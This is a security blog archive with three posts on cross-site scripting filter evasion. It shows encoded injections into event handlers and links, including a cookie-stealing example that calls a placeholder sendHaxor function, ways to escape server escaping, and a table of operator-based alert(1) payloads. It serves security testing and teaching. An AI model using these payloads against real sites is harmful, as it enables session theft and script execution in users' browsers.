Tag Archives: Filter Evasion

It’s a DOM Event

All user input must be properly escaped and encoded to prevent cross-site scripting. While the idea of sanitizing user input is nothing new to most developers, many of them encode special characters and fail to account for how the resulting document will handle the input. HTML encoding without proper escaping can lead to malicious code execution in the DOM.

Be sure to note that all of the following descriptions and comments are dependent on how the application output encodes the related content and, therefore, may not reflect the actual injection.


HTML Events

HTML events serve as a method to execute client-side script when related conditions are met within the contained HTML document. User-supplied input can be encoded in the related HTML; however, when the condition of the event is met, the document will decode the injection before sending it to the javascript engine for interpretation. Consider the example below of an embedded image that evaluates “userInput” when a user clicks on the image:

<img src="CoolPic.jpg" onclick="doSomethingCool('userInput');" />

Now here’s the same image that has been hi-jacked by an attacker with an encoded payload:

<img src="CoolPic.jpg" onclick="doSomethingCool('userInput&#000000039;);sendHaxor(document.cookie);//');" />

The hacker’s injection uses HTML decimal entity encoding with multiple zeros to show support for padding. When a user interacts with the altered image, the DOM will evaluate the original function, followed by the hacker’s injection, followed by double slashes to clean up any trailing residue from the original syntax. All of the character encoding presented immediately below will work across all current browsers, with the exception of HTML name entity apostrophe in Internet Explorer.


Vulnerable HTML Encoding


Javascript HREF/SRC

When javascript is referenced in either HREF or SRC of an HTML element an attacker can achieve code injection using the same method as above, but with the additional support for URL hex encoding. The DOM will construct the related javascript location before evaluating its contents. Here’s a dynamic link that, when followed, does something “cool” with user input:

<a href="doSomethingCool('userInput');">Cool Link</a>

The hacker likes the “super-cool” link so much that he decides to add his own content to capture the user’s session:

<a href="doSomethingCool('userInput%27);sendHaxor(document.cookie);//');">Cool Link</a>



The lesson to be learned here is that encoding alone may not be enough to solve cross-site scripting. Therefore, encode all special characters to prevent an attacker from breaking the resulting HTML; escape each character to prevent breaking any related javascript; and, of course, always remember to escape the escapes.

<img src="CoolPic.jpg" onclick="doSomethingCool('userInput\\\&#39;);attackerBlocked();//');" />

Jason Calvert @mystech7
Application Security Engineer
WhiteHat Security, Inc.

Escaping Escapes

Sometimes a server will escape special characters that are injected: For instance, injecting a " character and having it reflect as \":

Injection: xss"



Sometimes, ironically enough, you can outsmart filters by using their own tricks against them. Try escaping their escape character like this:

Injection: xss\"



However, if the server escapes your injected \ as \\, this technique will not work:

Injection: xss\"


Not fun.

If you’re able to break out by escaping their escape, you’ll need to blend back in with something other than a ", because the escaping process breaks the syntax:

Injection: xss\"*alert(1)*\"


The *\\ following alert(1) is not valid syntax and will cause an error.


Injection: xss\"*alert(1)//


Commenting out the rest is your best bet, unless they escape your // like \/\/. When this happens, I don’t think there’s much you can do.

Escaping escapes reminds me of the classic movie moment, when a bad guy gets the drop on a good guy, but then another good guy gets the drop on the bad guy. It always cracks me up when this evasion technique works.

Filter Evasion: Concatenation & JavaScript Operators

In my previous post, I talked about the basic anatomy of an XSS injection: break out, execute payload, and blend in. While the anatomy is simple in principle, things can become more complex when filters, escaping, and encoding enter the mix.

One of the examples I used in the previous post was as follows:

Injection: xss";alert(1);//


Staying with this example, let’s say we are unable to add any of the following characters: / < > ; What then? Some of you are familiar with using string concatenation to execute XSS, like this:

Injection: xss"%2balert(1)%2b"


In JavaScript, the ‘+’ is simply an operator. How it will be interpreted will differ depending on the context. In some cases (x="hi "+"there"), it will be seen as string concatenation; but when applied to numbers (x=40+2), it will be seen as a mathematical operator. Because JavaScript checks basic syntax only before executing, operators other than the ‘+’ can be used; for example, an asterisk:

Injection: "*alert(1)*"


Used as a mathematical operator, the asterisk obviously will not compute anything meaningful when applied to strings (unless the strings can be parsed as numeric, like x="6"*"7"), so the JavaScript engine will readily accept the injection because it is syntactically correct.

The engine must first evaluate the alert(1) function call before it can evaluate the strings and asterisks. This is like the order of operations in mathematics: 3*2+1=7, but 3*(2+1)=9.  That is, the parentheses take precedence in the order of operations, just as the alert(1) function call takes precedence in the order of execution with code.  And, therefore, as long as valid JavaScript operators connect the function call to the surrounding operands, all will be merry and grand in the land of exploits.

Assuming there are no filtering obstacles to overcome, the following mathematical, logical, and bitwise operators can be used in our injection without violating syntax, and will result in our alert being executed:

Operator Injection Reflection
Addition & String Concatenation "%2balert(1)%2b" <script>x=""+alert(1)+"";y=42;</script>
Subtraction "-alert(1)-" <script>x=""-alert(1)-"";y=42;</script>
Multiplication "*alert(1)*" <script>x=""*alert(1)*"";y=42;</script>
Division "/alert(1)/" <script>x=""/alert(1)/"";y=42;</script>
Modulus; %25 needs to reflect as %. "%25alert(1)%25" <script>x=""%alert(1)%"";y=42;</script>
“Less Than” Comparison "<alert(1)<" <script>x=""<alert(1)<"";y=42;</script>
“Greater Than” Comparison ">alert(1)>" <script>x="">alert(1)>"";y=42;</script>
“Less Than or Equal To” Comparison "<=alert(1)<=" <script>x=""<=alert(1)<="";y=42;</script>
“Greater Than or Equal To” Comparison ">=alert(1)>=" <script>x="">=alert(1)>="";y=42;</script>
“Equal To” Comparison "==alert(1)==" <script>x=""==alert(1)=="";y=42;</script>
Strong-Typed “Equal To” Comparison "===alert(1)===" <script>x=""===alert(1)==="";y=42;</script>
“Not Equal To” Comparison "!=alert(1)!=" <script>x=""!=alert(1)!="";y=42;</script>
Logical “and”; %26 needs to reflect as &. "%26%26alert(1)%26%26" <script>x=""&&alert(1)&&"";y=42;</script>
Logical “or”; Note: will only result in payload executing if preceding string is evaluated as “false” by the JS engine, like an empty string. "||alert(1)||" <script>x=""||alert(1)||"";y=42;</script>
Bitwise “and”; %26 needs to reflect as &. "%26alert(1)%26" <script>x=""&alert(1)&"";y=42;</script>
Bitwise “or” "|alert(1)|" <script>x=""|alert(1)|"";y=42;</script>
Bitwise “xor” "^alert(1)^" <script>x=""^alert(1)^"";y=42;</script>
Bitwise Left Shift "<<alert(1)<<" <script>x=""<<alert(1)<<"";y=42;</script>
Bitwise Right Shift ">>alert(1)>>" <script>x="">>alert(1)>>"";y=42;</script>
Bitwise Right Shift With Zeros ">>>alert(1)>>>" <script>x="">>>alert(1)>>>"";y=42;</script>
Ternary Conditional Expression "?alert(1):" <script>x=""?alert(1):"";y=42;</script>


You may be asking, “Why bother listing << if simply < can be used?” I’m so glad you asked!  The answer is this: Every application is unique, and you never know when < might get filtered out, while << does not.

Overall it’s always good to know as many options as possible, because even the most unlikely one may end up being the key.